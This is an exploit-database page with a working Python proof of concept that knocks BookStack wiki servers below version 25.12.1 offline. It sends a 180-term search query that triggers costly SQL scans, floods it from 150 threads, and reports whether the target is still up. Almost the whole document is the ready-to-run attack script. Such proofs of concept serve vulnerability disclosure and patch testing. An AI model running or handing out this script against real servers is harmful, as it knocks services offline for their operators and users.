Share
## https://sploitus.com/exploit?id=PACKETSTORM:221752
# Exploit Title: BookStack 25.12.1 - Denial of Service 
    Search Terms (Resource Exhaustion)
    # Date: 2026-04-29
    # Exploit Author: Gabriel Rodrigues (TEXUGO)
    # Vendor Homepage: https://www.bookstackapp.com
    # Software Link: https://github.com/BookStackApp/BookStack
    # Version: < 25.12.1
    # Tested on: BookStack v25.12 (Docker) + PHP 8.3 + MySQL 8.0
    # CVE: Pending (Request ID: 1970573)
    # References:
    # https://www.bookstackapp.com/blog/bookstack-release-v25-12-1/
    # https://github.com/BookStackApp/BookStack/security/advisories (if any)
    
    """
    BookStack DoS PoC
    python3 poc_dos_search.py http://localhost:8080 [cookie]
    """
    
    import requests, sys, time
    from urllib.parse import quote
    from concurrent.futures import ThreadPoolExecutor
    
    # Payload: 100 termos + 50 exatos + 30 tags = 180 termos de busca
    # Gera query SQL com muitos OR LIKE, full table scans e subqueries
    PAYLOAD = " ".join([f"t{i}" for i in range(100)] + [f'"e{i}"' for i in range(50)] + [f"[t{i}=v{i}]" for i in range(30)])
    stop = False
    
    def attack(url, headers):
        s = requests.Session()
        while not stop:
            try:
                s.get(url, headers=headers, timeout=30)
            except:
                pass
    
    def main():
        global stop
        url = sys.argv[1].rstrip("/")
        cookie = sys.argv[2] if len(sys.argv) > 2 else None
        search_url = f"{url}/search?term={quote(PAYLOAD)}"
        headers = {"Cookie": cookie} if cookie else {}
        
        print(f"[*] Query: {PAYLOAD[:80]}...")
        print(f"[*] URL completa tem {len(search_url)} bytes")
        print(f"[*] Atacando {url} com 150 threads por 30s\n")
        
        with ThreadPoolExecutor(150) as ex:
            [ex.submit(attack, search_url, headers) for _ in range(150)]
            
            for i in range(15):
                time.sleep(2)
                try:
                    r = requests.get(url, timeout=3)
                    print(f"[{(i+1)*2:2d}s] ONLINE - {r.status_code}")
                except requests.exceptions.Timeout:
                    print(f"[{(i+1)*2:2d}s] OFFLINE - TIMEOUT")
                except:
                    print(f"[{(i+1)*2:2d}s] OFFLINE - CONNECTION ERROR")
            
            stop = True
    
    if __name__ == "__main__":
        main()